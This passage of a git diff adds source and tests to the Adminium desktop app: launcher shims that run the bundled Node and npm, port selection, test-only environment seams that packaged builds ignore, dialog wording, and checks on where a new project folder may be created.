+ it('the dependency is there, with npm’s own entries, at the pinned version', () => {
+ const dir = carriedNpmDir(false, '', join(import.meta.dirname, '..', '..', 'out', 'main'));
+ expect(JSON.parse(readFileSync(join(dir, 'package.json'), 'utf8'))).toMatchObject({ name: 'npm', version: '10.9.8' });
+ expect(readdirSync(join(dir, 'bin'))).toEqual(expect.arrayContaining(['npm-cli.js', 'npx-cli.js']));
+ });
+});
+
+describe('the starter’s lockfile', () => {
+ it('is named only when this build really carries one', () => {
+ const base = { binary: '/app/Adminium', npmDir: '/app/npm', userDataDir: userData, git: null, platform: 'darwin' as const };
+ const dir = join(userData, 'starter');
+ expect(provideDesktopPrograms({ ...base, starterDir: dir }).starter).toBeNull();
+ mkdirSync(dir);
+ writeFileSync(join(dir, 'starter-lock.json'), '{}');
+ expect(provideDesktopPrograms({ ...base, starterDir: dir }).starter).toBe(dir);
+ expect(provideDesktopPrograms({ ...base, starterDir: null }).starter).toBeNull();
+ });
+});
diff --git a/apps/desktop/src/main/programs.ts b/apps/desktop/src/main/programs.ts
new file mode 100644
index 000000000..81fe3f61f
--- /dev/null
+++ b/apps/desktop/src/main/programs.ts
@@ -0,0 +1,160 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * The programs a project's server may start, as the app provides them: its own
+ * main program run as Node, the npm it carries, and three stand-ins (`node`,
+ * `npm`, `npx`) for the lines an app's author wrote.
+ *
+ * MADE AT EVERY LAUNCH, from this launch's own path. The app's path is not a
+ * constant: it changes when the app is moved, updated, run from its disk image
+ * or mounted as an AppImage, and a stand-in that names last week's path starts
+ * nothing. They live in the app's own data folder, never in a project.
+ *
+ * The path is MAIN's `process.execPath`. The server child's own is a helper
+ * that cannot run as Node, which is the whole reason the child is told.
+ *
+ * Electron-free, so every line is tested under plain Node.
+ */
+import { chmodSync, existsSync, mkdirSync, realpathSync, writeFileSync } from 'node:fs';
+import { join, win32 } from 'node:path';
+
+/** The value of `ADMINIUM_DESKTOP_PROGRAMS`, as the server package reads it (`project/programs.ts` there). */
+export interface DesktopProgramsValue {
+ binary: string;
+ npm: string;
+ shims: string;
+ git: string | null;
+ npmUserConfig: string;
+ npmGlobalConfig: string;
+ npmCache: string;
+ starter: string | null;
+ /** Where this computer's approvals of apps' own build lines are kept: a folder's own list is not believed here. */
+ approvals: string;
+}
+
+export interface ProvideProgramsInput {
+ /** Main's own `process.execPath`. */
+ binary: string;
+ /** The folder of the carried npm (it holds `bin/npm-cli.js`). */
+ npmDir: string;
+ /** The app's own data folder. */
+ userDataDir: string;
+ /** A git that works here, or `null`. */
+ git: string | null;
+ /** The folder of the lockfile a new project starts with, when this build carries one. */
+ starterDir?: string | null | undefined;
+ platform: NodeJS.Platform;
+}
+
+/**
+ * Where the carried npm is. In a packaged app: `/npm`, real files
+ * beside the archive. Run from the sources: this package's own `npm`
+ * dependency, by its real path (the package manager links it).
+ */
+export function carriedNpmDir(isPackaged: boolean, resourcesPath: string, mainDir: string, real: (path: string) => string = realpathSync): string {
+ if (isPackaged) return join(resourcesPath, 'npm');
+ const linked = join(mainDir, '..', '..', 'node_modules', 'npm');
+ try {
+ return real(linked);
+ } catch {
+ return linked;
+ }
+}
+
+/** A path inside single quotes for `sh`: the one character that needs care is the quote itself. */
+function shQuote(value: string): string {
+ return `'${value.replace(/'/g, `'\\''`)}'`;
+}
+
+/** The text of a stand-in for `sh`. `entry` is npm's or npx's own file; none for `node`. */
+export function shimForSh(binary: string, entry: string | null, npm: Pick): string {
+ const lines = ['#!/bin/sh', '# Made by Adminium at every launch. It starts the app’s own program as Node.', 'export ELECTRON_RUN_AS_NODE=1'];
+ if (entry !== null) {
+ lines.push(
+ `export NPM_CONFIG_USERCONFIG=${shQuote(npm.npmUserConfig)}`,
+ `export NPM_CONFIG_GLOBALCONFIG=${shQuote(npm.npmGlobalConfig)}`,
+ `export NPM_CONFIG_CACHE=${shQuote(npm.npmCache)}`,
+ 'export NPM_CONFIG_UPDATE_NOTIFIER=false',
+ );
+ }
+ const program = shQuote(binary);
+ const first = entry === null ? '' : ` ${shQuote(entry)}`;
+ lines.push(
+ '# A build of a copied app is kept inside its own folder by a file loaded before anything else. It comes as an',
+ '# argument here: a signed Mac app does not read NODE_OPTIONS when a shell, and not the app, started it.',
+ 'if [ -n "${ADMINIUM_BUILD_GUARD:-}" ]; then',
+ ` exec ${program} --require "$ADMINIUM_BUILD_GUARD"${first} "$@"`,
+ 'fi',
+ `exec ${program}${first} "$@"`,
+ '',
+ );
+ return lines.join('\n');
+}
+
+/**
+ * The text of a stand-in for `cmd.exe`. Paths go inside double quotes; a
+ * Windows path cannot hold one. `%` is doubled so a folder named `100%` is not
+ * read as a variable.
+ */
+export function shimForCmd(binary: string, entry: string | null, npm: Pick): string {
+ const q = (value: string): string => `"${value.replace(/%/g, '%%')}"`;
+ const lines = ['@echo off', 'rem Made by Adminium at every launch. It starts the app’s own program as Node.', 'setlocal', 'set ELECTRON_RUN_AS_NODE=1'];
+ if (entry !== null) {
+ lines.push(
+ `set "NPM_CONFIG_USERCONFIG=${npm.npmUserConfig.replace(/%/g, '%%')}"`,
+ `set "NPM_CONFIG_GLOBALCONFIG=${npm.npmGlobalConfig.replace(/%/g, '%%')}"`,
+ `set "NPM_CONFIG_CACHE=${npm.npmCache.replace(/%/g, '%%')}"`,
+ 'set NPM_CONFIG_UPDATE_NOTIFIER=false',
+ );
+ }
+ const first = entry === null ? '' : ` ${q(entry)}`;
+ lines.push(
+ 'rem The guard of a copied app’s build, as an argument (see the sh stand-in for why).',
+ 'if defined ADMINIUM_BUILD_GUARD (',
+ ` ${q(binary)} --require "%ADMINIUM_BUILD_GUARD%"${first} %*`,
+ ') else (',
+ ` ${q(binary)}${first} %*`,
+ ')',
+ 'exit /b %ERRORLEVEL%',
+ '',
+ );
+ return lines.join('\r\n');
+}
+
+/**
+ * Write the stand-ins and npm's two (empty) settings files, and say where
+ * everything is. Safe to call at every launch: it writes the same files again.
+ */
+export function provideDesktopPrograms(input: ProvideProgramsInput): DesktopProgramsValue {
+ const home = join(input.userDataDir, 'programs');
+ const shims = join(home, 'bin');
+ const npmHome = join(home, 'npm');
+ const value: DesktopProgramsValue = {
+ binary: input.binary,
+ npm: input.npmDir,
+ shims,
+ git: input.git,
+ npmUserConfig: join(npmHome, 'user.npmrc'),
+ npmGlobalConfig: join(npmHome, 'global.npmrc'),
+ npmCache: join(npmHome, 'cache'),
+ approvals: join(input.userDataDir, 'approved-builds'),
+ // Named only when it is really there: a build made outside a release carries none.
+ starter: input.starterDir != null && existsSync(join(input.starterDir, 'starter-lock.json')) ? input.starterDir : null,
+ };
+ mkdirSync(shims, { recursive: true });
+ mkdirSync(value.npmCache, { recursive: true });
+ // The app's own, and empty: a person's `~/.npmrc` (a token, another registry) decides nothing here.
+ for (const file of [value.npmUserConfig, value.npmGlobalConfig]) if (!existsSync(file)) writeFileSync(file, '');
+ const windows = input.platform === 'win32';
+ // The paths written INTO a stand-in are the target system's, whatever system writes them.
+ const inApp = windows ? win32.join : join;
+ for (const [name, entry] of [
+ ['node', null],
+ ['npm', inApp(input.npmDir, 'bin', 'npm-cli.js')],
+ ['npx', inApp(input.npmDir, 'bin', 'npx-cli.js')],
+ ] as const) {
+ const file = join(shims, windows ? `${name}.cmd` : name);
+ writeFileSync(file, windows ? shimForCmd(input.binary, entry, value) : shimForSh(input.binary, entry, value));
+ if (!windows) chmodSync(file, 0o755);
+ }
+ return value;
+}
diff --git a/apps/desktop/src/main/project.test.ts b/apps/desktop/src/main/project.test.ts
new file mode 100644
index 000000000..6bbb89592
--- /dev/null
+++ b/apps/desktop/src/main/project.test.ts
@@ -0,0 +1,137 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { createServer, type Server } from 'node:net';
+
+import { afterEach, describe, expect, it } from 'vitest';
+
+import { EN_US_STOP_WORDS, E2E_GIT_ENV, E2E_PORT_ENV, E2E_PROJECT_ENV, PROJECT_PORTS, firstFreePort, projectPortRange, seamGit, seamProject, sessionCookieNames, stopBusyWords } from './project.js';
+
+const open: Server[] = [];
+afterEach(async () => {
+ await Promise.all(open.splice(0).map((server) => new Promise((done) => server.close(done))));
+});
+
+const listenAnywhere = async (): Promise =>
+ new Promise((done) => {
+ const server = createServer();
+ open.push(server);
+ server.listen(0, '127.0.0.1', () => {
+ done((server.address() as { port: number }).port);
+ });
+ });
+
+describe('firstFreePort', () => {
+ it('skips a port something listens on and takes the next', async () => {
+ const taken = await listenAnywhere();
+ const port = await firstFreePort(taken, taken + 20);
+ expect(port).toBeGreaterThan(taken);
+ expect(port).toBeLessThanOrEqual(taken + 20);
+ });
+
+ it('says so when the whole range is taken', async () => {
+ const taken = await listenAnywhere();
+ await expect(firstFreePort(taken, taken)).rejects.toThrow(`No port from ${String(taken)} to ${String(taken)} is free`);
+ });
+});
+
+describe('seamGit (the second test seam)', () => {
+ const SHA = 'a'.repeat(64);
+ const named = (value: unknown): NodeJS.ProcessEnv => ({ [E2E_GIT_ENV]: typeof value === 'string' ? value : JSON.stringify(value) });
+
+ it('names the test’s own file on this machine', () => {
+ expect(seamGit(named({ url: 'http://127.0.0.1:9401/git.tar.gz', sha256: SHA, bytes: 512 }), false)).toEqual({
+ url: 'http://127.0.0.1:9401/git.tar.gz',
+ download: { file: 'git.tar.gz', bytes: 512, sha256: SHA },
+ });
+ });
+
+ it('is never read by a packaged app: it would choose the program the app fetches and runs', () => {
+ expect(seamGit(named({ url: 'http://127.0.0.1:9401/git.tar.gz', sha256: SHA, bytes: 512 }), true)).toBeNull();
+ });
+
+ it('is nothing when it is absent, not JSON, another machine’s address, or not a file’s hash and size', () => {
+ expect(seamGit({}, false)).toBeNull();
+ expect(seamGit(named(' '), false)).toBeNull();
+ expect(seamGit(named('{'), false)).toBeNull();
+ expect(seamGit(named({ url: 'https://example.com/git.tar.gz', sha256: SHA, bytes: 512 }), false)).toBeNull();
+ expect(seamGit(named({ url: 7, sha256: SHA, bytes: 512 }), false)).toBeNull();
+ expect(seamGit(named({ url: 'http://127.0.0.1:9401/git.tar.gz', sha256: 'abc', bytes: 512 }), false)).toBeNull();
+ expect(seamGit(named({ url: 'http://127.0.0.1:9401/git.tar.gz', sha256: 5, bytes: 512 }), false)).toBeNull();
+ expect(seamGit(named({ url: 'http://127.0.0.1:9401/git.tar.gz', sha256: SHA, bytes: 0 }), false)).toBeNull();
+ expect(seamGit(named({ url: 'http://127.0.0.1:9401/git.tar.gz', sha256: SHA, bytes: '512' }), false)).toBeNull();
+ expect(seamGit(named({ url: 'http://127.0.0.1:9401/git.tar.gz', sha256: SHA, bytes: 1.5 }), false)).toBeNull();
+ });
+});
+
+describe('seamProject (the test seam)', () => {
+ const fs = (files: string[]) => ({ exists: (path: string) => files.includes(path), real: (path: string) => (path === '/link' ? '/real/juniper' : path) });
+ const env = (root: string) => ({ [E2E_PROJECT_ENV]: root });
+
+ it('opens the folder named, by its real path, when it is a project', () => {
+ expect(seamProject(env('/p/juniper'), false, fs(['/p/juniper/adminium.config.ts']))).toEqual({ root: '/p/juniper' });
+ expect(seamProject(env('/link'), false, fs(['/real/juniper/adminium.config.mjs']))).toEqual({ root: '/real/juniper' });
+ });
+
+ it('a packaged app never reads it: a folder’s code runs only after the trust question', () => {
+ expect(seamProject(env('/p/juniper'), true, fs(['/p/juniper/adminium.config.ts']))).toBeUndefined();
+ });
+
+ it('is nothing for no name, a relative name, a folder that is gone, or one that is not a project itself', () => {
+ const files = fs(['/p/adminium.config.ts']);
+ expect(seamProject({}, false, files)).toBeUndefined();
+ expect(seamProject(env(' '), false, files)).toBeUndefined();
+ expect(seamProject(env('juniper'), false, files)).toBeUndefined();
+ // A parent that is a project does not make this folder one.
+ expect(seamProject(env('/p/apps'), false, files)).toBeUndefined();
+ expect(
+ seamProject(env('/gone'), false, {
+ exists: () => true,
+ real: () => {
+ throw new Error('ENOENT');
+ },
+ }),
+ ).toBeUndefined();
+ });
+});
+
+describe('projectPortRange', () => {
+ it('is the product’s range, which a packaged app always uses', () => {
+ expect(projectPortRange({}, false)).toEqual(PROJECT_PORTS);
+ expect(projectPortRange({ [E2E_PORT_ENV]: '9480' }, true)).toEqual(PROJECT_PORTS);
+ });
+
+ it('starts where an unpackaged test run says, twenty ports wide', () => {
+ expect(projectPortRange({ [E2E_PORT_ENV]: '9480' }, false)).toEqual({ first: 9480, last: 9499 });
+ for (const odd of ['', 'x', '80', '70000', '94.5']) expect(projectPortRange({ [E2E_PORT_ENV]: odd }, false)).toEqual(PROJECT_PORTS);
+ });
+});
+
+describe('stopBusyWords', () => {
+ it('names what is running', () => {
+ expect(stopBusyWords({ kind: 'turn', sessionId: 'ds_1' })).toEqual({
+ title: 'The Designer is in the middle of a turn.',
+ detail: 'If you quit now it is stopped where it is. What was already written stays.',
+ goOn: 'Quit anyway',
+ stay: 'Keep working',
+ });
+ expect(stopBusyWords({ kind: 'save', sessionId: null }).title).toBe('Your changes are being saved.');
+ // Closing a project asks the same thing in its own words.
+ expect(stopBusyWords({ kind: 'turn', sessionId: 'ds_1' }, 'close')).toMatchObject({ goOn: 'Close anyway', detail: 'If you close the project now it is stopped where it is. What was already written stays.' });
+ expect(stopBusyWords({ kind: 'something-new', sessionId: null }).title).toBe('This project is being changed.');
+ });
+
+ it('sharing asks the same thing in its own words', () => {
+ expect(stopBusyWords({ kind: 'turn', sessionId: 'ds_1' }, 'share')).toMatchObject({ goOn: 'Stop and share', detail: 'If you share now it is stopped where it is. What was already written stays.', stay: 'Keep working' });
+ });
+
+ it('asks in the language the project’s page handed over', () => {
+ const de = { ...EN_US_STOP_WORDS, turn: 'Der Designer ist mitten in einem Durchgang.', other: 'Dieses Projekt wird gerade geändert.', closeDetail: 'Wenn Sie das Projekt jetzt schließen…', closeAnyway: 'Trotzdem schließen', keepWorking: 'Weiterarbeiten' };
+ expect(stopBusyWords({ kind: 'turn', sessionId: 'ds_1' }, 'close', de)).toEqual({ title: 'Der Designer ist mitten in einem Durchgang.', detail: 'Wenn Sie das Projekt jetzt schließen…', goOn: 'Trotzdem schließen', stay: 'Weiterarbeiten' });
+ expect(stopBusyWords({ kind: 'new', sessionId: null }, 'quit', de).title).toBe('Dieses Projekt wird gerade geändert.');
+ });
+});
+
+describe('sessionCookieNames', () => {
+ it('tries design mode’s name first, then the plain one', () => {
+ expect(sessionCookieNames('adminium_session', 4700)).toEqual(['adminium_session_4700', 'adminium_session']);
+ });
+});
diff --git a/apps/desktop/src/main/project.ts b/apps/desktop/src/main/project.ts
new file mode 100644
index 000000000..f95bdf29b
--- /dev/null
+++ b/apps/desktop/src/main/project.ts
@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * What main needs to serve a project folder that is not Electron's: the port,
+ * the words of the one question it asks, and the test seam that opens a folder
+ * before the app has a screen to pick one on (plan 66, spec 05).
+ *
+ * Electron-free, like `lan.ts` and `backup.ts`, so every line of it is tested
+ * under plain Node.
+ */
+import { existsSync, realpathSync } from 'node:fs';
+import { createServer } from 'node:net';
+import { isAbsolute, join } from 'node:path';
+
+import { LOOPBACK_HOST } from '../server/env.js';
+import type { DesktopStopWords } from '../preload/api.js';
+import type { GitDownload } from './git.js';
+import type { ServerBusy } from './server-manager.js';
+
+/** The ports a project's server tries, in order: the same range `adminium design` uses on a terminal. */
+export const PROJECT_PORTS = { first: 4700, last: 4799 } as const;
+
+/** The first port in the range that nothing on this machine listens on. */
+export async function firstFreePort(
+ from: number = PROJECT_PORTS.first,
+ to: number = PROJECT_PORTS.last,
+ host = '127.0.0.1',
+): Promise {
+ for (let port = from; port <= to; port += 1) {
+ const free = await new Promise((done) => {
+ const probe = createServer();
+ probe.once('error', () => {
+ done(false);
+ });
+ probe.listen(port, host, () => {
+ probe.close(() => {
+ done(true);
+ });
+ });
+ });
+ if (free) return port;
+ }
+ throw new Error(`No port from ${String(from)} to ${String(to)} is free on this computer.`);
+}
+
+/** The names a project folder's config file may have, as the server looks for them. */
+const CONFIG_FILES = ['adminium.config.ts', 'adminium.config.mjs', 'adminium.config.js'] as const;
+
+/**
+ * The name of the test seam: a project folder to open at launch.
+ *
+ * A PACKAGED APP NEVER READS IT. Opening a folder builds and runs the code in
+ * it, and the question that must come first ("do you trust this folder?") has
+ * no screen yet. An environment variable that made a released app run a folder
+ * unasked would be exactly the door spec 08 exists to keep shut; so the seam is
+ * for the desktop's own tests and for trying the built (unpackaged) app, and
+ * it goes when the real way in is built.
+ */
+export const E2E_PROJECT_ENV = 'ADMINIUM_DESKTOP_E2E_PROJECT';
+
+export function seamProject(
+ env: NodeJS.ProcessEnv,
+ isPackaged: boolean,
+ fs: { exists: (path: string) => boolean; real: (path: string) => string } = { exists: existsSync, real: realpathSync },
+): { readonly root: string } | undefined {
+ if (isPackaged) return undefined;
+ const named = env[E2E_PROJECT_ENV]?.trim() ?? '';
+ if (named === '' || !isAbsolute(named)) return undefined;
+ let root: string;
+ try {
+ root = fs.real(named);
+ } catch {
+ return undefined;
+ }
+ // The folder itself, never a parent that happens to be a project.
+ return CONFIG_FILES.some((file) => fs.exists(join(root, file))) ? { root } : undefined;
+}
+
+/**
+ * A second seam, for the offer to keep versions: this computer is taken to have
+ * no git, and the download is the test's own file from the test's own server.
+ * JSON: `{ "url": "http://127.0.0.1:…", "sha256": "…", "bytes": 123 }`.
+ * A PACKAGED APP NEVER READS IT: it would let an environment variable choose
+ * the program the app fetches and runs.
+ */
+export const E2E_GIT_ENV = 'ADMINIUM_DESKTOP_E2E_GIT';
+
+export function seamGit(env: NodeJS.ProcessEnv, isPackaged: boolean): { readonly url: string; readonly download: GitDownload } | null {
+ if (isPackaged) return null;
+ const raw = env[E2E_GIT_ENV]?.trim() ?? '';
+ if (raw === '') return null;
+ try {
+ const value = JSON.parse(raw) as { url?: unknown; sha256?: unknown; bytes?: unknown };
+ if (typeof value.url !== 'string') return null;
+ // This machine only, by its number: parsed, not matched as text.
+ const address = new URL(value.url);
+ if (address.protocol !== 'http:' || address.hostname !== LOOPBACK_HOST || address.port === '') return null;
+ if (typeof value.sha256 !== 'string' || !/^[0-9a-f]{64}$/.test(value.sha256)) return null;
+ if (typeof value.bytes !== 'number' || !Number.isInteger(value.bytes) || value.bytes < 1) return null;
+ return { url: value.url, download: { file: 'git.tar.gz', bytes: value.bytes, sha256: value.sha256 } };
+ } catch {
+ return null;
+ }
+}
+
+/** With the seam only: the first port to try, so a test run stays inside the ports it was given. */
+export const E2E_PORT_ENV = 'ADMINIUM_DESKTOP_E2E_PORT';
+
+/** The port range a project's server is picked from: the product's, unless an unpackaged test run names its own start. */
+export function projectPortRange(env: NodeJS.ProcessEnv, isPackaged: boolean): { first: number; last: number } {
+ if (isPackaged) return PROJECT_PORTS;
+ const first = Number(env[E2E_PORT_ENV] ?? '');
+ if (!Number.isInteger(first) || first < 1024 || first > 65000) return PROJECT_PORTS;
+ return { first, last: first + 19 };
+}
+
+/** English, until the project's page hands over its own language's (`project.setStopWords`), as with the menu. */
+export const EN_US_STOP_WORDS: DesktopStopWords = Object.freeze({
+ turn: 'The Designer is in the middle of a turn.',
+ start: 'An app is being added to this project.',
+ save: 'Your changes are being saved.',
+ restore: 'An earlier version is being put back.',
+ style: 'The style is being changed.',
+ other: 'This project is being changed.',
+ quitDetail: 'If you quit now it is stopped where it is. What was already written stays.',
+ closeDetail: 'If you close the project now it is stopped where it is. What was already written stays.',
+ quitAnyway: 'Quit anyway',
+ closeAnyway: 'Close anyway',
+ keepWorking: 'Keep working',
+ shareDetail: 'If you share now it is stopped where it is. What was already written stays.',
+ shareAnyway: 'Stop and share',
+});
+
+/** A native question's words. */
+export interface StopBusyWords {
+ title: string;
+ detail: string;
+ goOn: string;
+ stay: string;
+}
+
+/** What is said before the app ends a project's server that is in the middle of something. */
+export function stopBusyWords(busy: ServerBusy, why: 'quit' | 'close' | 'share' = 'quit', words: DesktopStopWords = EN_US_STOP_WORDS): StopBusyWords {
+ const what: Record = { turn: words.turn, start: words.start, save: words.save, restore: words.restore, style: words.style };
+ return {
+ title: what[busy.kind] ?? words.other,
+ detail: why === 'close' ? words.closeDetail : why === 'share' ? words.shareDetail : words.quitDetail,
+ goOn: why === 'close' ? words.closeAnyway : why === 'share' ? words.shareAnyway : words.quitAnyway,
+ stay: words.keepWorking,
+ };
+}
+
+/** The session cookie's names on a project's server: design mode names it by port, a shared project does not. */
+export function sessionCookieNames(base: string, port: number): string[] {
+ return [`${base}_${String(port)}`, base];
+}
diff --git a/apps/desktop/src/main/projects.test.ts b/apps/desktop/src/main/projects.test.ts
new file mode 100644
index 000000000..75997ef56
--- /dev/null
+++ b/apps/desktop/src/main/projects.test.ts
@@ -0,0 +1,185 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { mkdirSync, mkdtempSync, realpathSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+
+import { createDefaultConfig, MAX_RECENT_PROJECTS, type DesktopConfig } from './config.js';
+import { folderNameFor, forgetProject, isProjectFolder, judgeNewProjectFolder, proposedParent, realFolderDeps, recentProjects, relocateProject, rememberProject, type FolderDeps } from './projects.js';
+
+const config = (): DesktopConfig => createDefaultConfig('/data');
+const at = (iso: string): Date => new Date(iso);
+
+describe('the recent list', () => {
+ it('puts what was opened at the head, as opened now, building by default', () => {
+ const one = rememberProject(config(), { path: '/p/juniper', name: 'Juniper Kitchen' }, at('2026-10-09T10:00:00Z'));
+ const two = rememberProject(one, { path: '/p/repairs', name: 'Repairs' }, at('2026-10-09T11:00:00Z'));
+ expect(two.projects.map((project) => project.name)).toEqual(['Repairs', 'Juniper Kitchen']);
+ expect(two.projects[0]).toEqual({ path: '/p/repairs', name: 'Repairs', lastOpened: '2026-10-09T11:00:00.000Z', state: 'building', sharePort: null, trusted: null, reviewed: false, engineNoted: null });
+ });
+
+ it('opening a listed project again keeps its share port and its trust, and moves it up', () => {
+ let c = rememberProject(config(), { path: '/p/juniper', name: 'Juniper Kitchen', sharePort: 4712, trusted: 'sha256:aa', state: 'shared' }, at('2026-10-08T10:00:00Z'));
+ c = rememberProject(c, { path: '/p/repairs', name: 'Repairs' }, at('2026-10-09T10:00:00Z'));
+ c = rememberProject(c, { path: '/p/juniper', name: 'Juniper Kitchen (renamed)' }, at('2026-10-10T10:00:00Z'));
+ expect(c.projects).toHaveLength(2);
+ expect(c.projects[0]).toMatchObject({ name: 'Juniper Kitchen (renamed)', sharePort: 4712, trusted: 'sha256:aa', state: 'shared' });
+ // Said outright, a value replaces what was kept: trust taken away, back to building.
+ expect(rememberProject(c, { path: '/p/juniper', name: 'J', trusted: null, state: 'building' }).projects[0]).toMatchObject({ trusted: null, state: 'building', sharePort: 4712 });
+ });
+
+ it('keeps the newest twelve', () => {
+ let c = config();
+ for (let i = 0; i < MAX_RECENT_PROJECTS + 5; i += 1) c = rememberProject(c, { path: `/p/${String(i)}`, name: `P${String(i)}` }, new Date(Date.UTC(2026, 9, 1, 0, i)));
+ expect(c.projects).toHaveLength(MAX_RECENT_PROJECTS);
+ expect(c.projects[0]?.name).toBe(`P${String(MAX_RECENT_PROJECTS + 4)}`);
+ expect(c.projects.map((project) => project.name)).not.toContain('P0');
+ });
+
+ it('lists newest first and says which folders are gone', () => {
+ let c = rememberProject(config(), { path: '/p/old', name: 'Old' }, at('2026-10-01T00:00:00Z'));
+ c = rememberProject(c, { path: '/p/new', name: 'New' }, at('2026-10-09T00:00:00Z'));
+ const exists = (path: string): boolean => path === '/p/new/adminium.config.ts';
+ expect(recentProjects(c, exists).map((project) => [project.name, project.missing])).toEqual([
+ ['New', false],
+ ['Old', true],
+ ]);
+ // A folder that is there but is no longer a project is as gone as a deleted one.
+ expect(isProjectFolder('/p/old', (path) => path === '/p/old')).toBe(false);
+ });
+
+ it('"Remove" forgets the folder and touches nothing else', () => {
+ const c = rememberProject(rememberProject(config(), { path: '/a', name: 'A' }), { path: '/b', name: 'B' });
+ expect(forgetProject(c, '/a').projects.map((project) => project.path)).toEqual(['/b']);
+ expect(forgetProject(c, '/not-listed')).toEqual(c);
+ });
+
+ it('"Locate…" moves the entry to a folder that is a project, and asks about trust again', () => {
+ const c = rememberProject(config(), { path: '/old/juniper', name: 'Juniper', trusted: 'sha256:aa', sharePort: 4712 }, at('2026-10-09T00:00:00Z'));
+ const isProject = (path: string): boolean => path === '/new/juniper/adminium.config.ts';
+ const moved = relocateProject(c, '/old/juniper', '/new/juniper', isProject);
+ expect(moved).toMatchObject({ ok: true });
+ expect(moved.ok && moved.config.projects[0]).toMatchObject({ path: '/new/juniper', name: 'Juniper', sharePort: 4712, trusted: null, lastOpened: '2026-10-09T00:00:00.000Z' });
+ expect(relocateProject(c, '/old/juniper', '/new/photos', isProject)).toEqual({ ok: false, reason: 'not-a-project' });
+ expect(relocateProject(c, '/never/listed', '/new/juniper', isProject)).toEqual({ ok: false, reason: 'not-listed' });
+ const both = rememberProject(c, { path: '/new/juniper', name: 'Other' });
+ expect(relocateProject(both, '/old/juniper', '/new/juniper', isProject)).toEqual({ ok: false, reason: 'already-listed' });
+ });
+});
+
+describe('a project’s folder name', () => {
+ it.each([
+ ['Juniper Kitchen', 'juniper-kitchen'],
+ [' Café Zoë — menu & orders! ', 'cafe-zoe-menu-orders'],
+ ['مطعم', ''],
+ ['../../etc', 'etc'],
+ ['a'.repeat(90), 'a'.repeat(60)],
+ ])('%s → %s', (name, folder) => {
+ expect(folderNameFor(name)).toBe(folder);
+ });
+
+ it('is proposed under Adminium in the home folder', () => {
+ expect(proposedParent('/Users/ava')).toBe(join('/Users/ava', 'Adminium'));
+ });
+});
+
+describe('where a new project may go', () => {
+ const HOME = '/Users/ava';
+ function deps(over: Partial & { folders?: Record; files?: string[] } = {}): FolderDeps {
+ const folders = over.folders ?? {};
+ const files = over.files ?? [];
+ const known = new Set([HOME, '/Users', '/', '/Applications/Adminium.app', ...Object.keys(folders), ...files]);
+ return {
+ home: HOME,
+ appDir: '/Applications/Adminium.app/Contents/Resources',
+ platform: 'darwin',
+ exists: (path) => known.has(path),
+ real: (path) => path,
+ list: (path) => folders[path] ?? null,
+ ...over,
+ };
+ }
+
+ it('the proposed place is fine: a new folder under ~/Adminium', () => {
+ expect(judgeNewProjectFolder('/Users/ava/Adminium', 'Juniper Kitchen', deps())).toEqual({ ok: true, path: '/Users/ava/Adminium/juniper-kitchen', warning: null });
+ });
+
+ it.each([
+ ['no name', '/Users/ava/Adminium', ' ', 'no-name'],
+ ['a name with nothing a folder can be called', '/Users/ava/Adminium', 'مطعم', 'bad-name'],
+ ['a parent that is not a full path', 'Adminium', 'Juniper', 'not-absolute'],
+ ['a system folder', '/Library', 'Juniper', 'system-folder'],
+ ['the applications folder', '/Applications', 'Juniper', 'system-folder'],
+ ['inside the app itself', '/Applications/Adminium.app/Contents/Resources', 'Juniper', 'inside-the-app'],
+ ])('refuses %s', (_label, parent, name, refused) => {
+ expect(judgeNewProjectFolder(parent, name, deps())).toMatchObject({ ok: false, refused });
+ });
+
+ it('refuses the home folder itself, however it is reached', () => {
+ // `/Users` + a name that makes "ava": the folder asked for IS the home folder.
+ expect(judgeNewProjectFolder('/Users', 'Ava', deps())).toMatchObject({ ok: false, refused: 'home-folder' });
+ });
+
+ it('refuses a folder inside another project, at any depth, and through a link', () => {
+ const inside = deps({ files: ['/Users/ava/work/shop/adminium.config.ts'], folders: { '/Users/ava/work/shop': ['adminium.config.ts', 'apps'], '/Users/ava/work/shop/apps': [] } });
+ expect(judgeNewProjectFolder('/Users/ava/work/shop', 'Second', inside)).toMatchObject({ ok: false, refused: 'inside-a-project' });
+ expect(judgeNewProjectFolder('/Users/ava/work/shop/apps', 'Second', inside)).toMatchObject({ ok: false, refused: 'inside-a-project' });
+ // A link that leads into a project is judged by where it really is.
+ const linked = deps({
+ files: ['/Users/ava/work/shop/adminium.config.ts', '/Users/ava/shortcut'],
+ folders: { '/Users/ava/work/shop': ['adminium.config.ts', 'apps'], '/Users/ava/work/shop/apps': [] },
+ real: (path) => (path === '/Users/ava/shortcut' ? '/Users/ava/work/shop/apps' : path),
+ });
+ expect(judgeNewProjectFolder('/Users/ava/shortcut', 'Second', linked)).toMatchObject({ ok: false, refused: 'inside-a-project', path: '/Users/ava/work/shop/apps/second' });
+ });
+
+ it('refuses a folder that already holds files, and takes an empty one', () => {
+ expect(judgeNewProjectFolder('/Users/ava/Adminium', 'Juniper', deps({ folders: { '/Users/ava/Adminium/juniper': ['notes.txt'] } }))).toMatchObject({ ok: false, refused: 'exists-with-files' });
+ expect(judgeNewProjectFolder('/Users/ava/Adminium', 'Juniper', deps({ folders: { '/Users/ava/Adminium/juniper': ['.DS_Store'] } }))).toMatchObject({ ok: true });
+ expect(judgeNewProjectFolder('/Users/ava/Adminium', 'Juniper', deps({ folders: { '/Users/ava/Adminium/juniper': [] } }))).toMatchObject({ ok: true });
+ });
+
+ it.each([
+ ['/Users/ava/Library/Mobile Documents/com~apple~CloudDocs', 'icloud'],
+ ['/Users/ava/OneDrive', 'onedrive'],
+ ['/Users/ava/Dropbox/work', 'dropbox'],
+ ['/Users/ava/Google Drive', 'googledrive'],
+ ])('warns about a synced folder (%s), and leaves the choice to the person', (parent, warning) => {
+ expect(judgeNewProjectFolder(parent, 'Juniper', deps())).toMatchObject({ ok: true, warning });
+ });
+
+ it('warns about a disk that cannot hold links, and says nothing when it could not tell', () => {
+ expect(judgeNewProjectFolder('/Volumes/USB', 'Juniper', deps({ holdsLinks: () => false }))).toMatchObject({ ok: true, warning: 'no-links' });
